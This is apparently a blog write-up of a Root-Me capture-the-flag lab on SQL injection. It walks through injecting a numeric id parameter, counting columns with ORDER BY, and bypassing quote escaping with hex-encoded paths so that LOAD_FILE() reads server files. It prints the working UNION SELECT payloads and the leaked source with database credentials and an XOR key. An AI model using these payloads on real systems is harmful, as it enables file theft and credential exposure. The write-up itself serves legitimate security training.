On this page
apsyleg1 min read
#root-me #sqli #file-reading #union #load-file #web-security

SQL Injection — File Reading

Vulnerability

SQL injection is a vulnerability where user input is incorporated into an SQL query without proper sanitization. An attacker can alter the query logic to extract data from other tables, bypass authentication, or — as in this challenge — read arbitrary files from the server.

LOAD_FILE() is a built-in MySQL/MariaDB function that returns the contents of a file at a given path. If the database user has the FILE privilege and the injection allows output via UNION SELECT, any file readable by the DBMS process is fair game: application source code, configuration files, /etc/passwd.

Challenge

Name: SQL injection — File readingPlatform: Root-Me Goal: Retrieve the administrator password.

Reconnaissance

Open the challenge. The page has two sections: Authentication (login form) and Members (user list). Navigate to Members — there is a single user, the administrator. Open their profile:

http://challenge01.root-me.org/web-serveur/ch31/?action=members&id=1

Identifying the DBMS

The id parameter is the first injection candidate. Try appending a single quote:

?action=members&id=1'--

Server response:

You have an error in your SQL syntax; check the manual that corresponds
to your MariaDB server version for the right syntax to use near '\'--' at line 1

Two takeaways: the DBMS is MariaDB, and single quotes are escaped with a backslash (\'). However, id is a numeric parameter — no quotes are needed for injection. Verify:

?action=members&id=1--

The request goes through without errors. Injection point and DBMS confirmed.

Determining the column count

UNION SELECT requires matching the number of columns in the original query. Use ORDER BY, incrementing until an error occurs:

?action=members&id=1 ORDER BY 1--    → OK
?action=members&id=1 ORDER BY 2--    → OK
?action=members&id=1 ORDER BY 3--    → OK
?action=members&id=1 ORDER BY 4--    → OK
?action=members&id=1 ORDER BY 5--    → Unknown column '5' in 'order clause'

Result: 4 columns.

Identifying output positions

Inject UNION SELECT with marker values. Use id=0 so the original query returns no rows and only our values are displayed:

?action=members&id=0 UNION SELECT 1,2,3,4--

The page shows:

ID : 1
Username : 2
Email : 4

Positions 1, 2, and 4 are rendered — any of them can carry the LOAD_FILE() output.

Reading the File

Direct attempt with quotes

First try — pass the file path directly:

?action=members&id=0 UNION SELECT LOAD_FILE('/challenge/web-serveur/ch31/index.php'),2,3,4--

Error:

...near '\'/challenge/web-serveur/ch31/index.php\'),2,3,4--' at line 1

Quotes are escaped — LOAD_FILE('...') becomes LOAD_FILE(\'...\'), breaking the SQL syntax.

Bypassing with hex encoding

In MySQL/MariaDB, strings can be passed as hex literals: 0x2f746d70 is equivalent to '/tmp'. This is standard SQL syntax, not a hack — quotes are simply unnecessary.

Convert the path /challenge/web-serveur/ch31/index.php to ASCII hex. You can use the hex converter, Burp Suite Decoder (Encode as → ASCII Hex), or the terminal:

echo -n '/challenge/web-serveur/ch31/index.php' | xxd -p | tr -d '\n' | sed 's/^/0x/'

Result:

0x2F6368616C6C656E67652F7765622D736572766575722F636833312F696E6465782E706870

Inject into the query:

?action=members&id=0 UNION SELECT LOAD_FILE(0x2F6368616C6C656E67652F7765622D736572766575722F636833312F696E6465782E706870),2,3,4--

The ID field now displays the source code of index.php.

Source code

define('SQL_HOST',      '/var/run/mysqld/mysqld3-web-serveur-ch31.sock');
define('SQL_DB',        'c_webserveur_31');
define('SQL_LOGIN',     'c_webserveur_31');
define('SQL_P',         'dOJLsrbyas3ZdrNqnhx');

function stringxor($o1, $o2) {
    $res = '';
    for($i=0;$i<strlen($o1);$i++)
        $res .= chr(ord($o1[$i]) ^ ord($o2[$i]));
    return $res;
}

$key = "c92fcd618967933ac463feb85ba00d5a7ae52842";

The code reveals database credentials, an XOR key, and the authentication logic. Analysis to follow.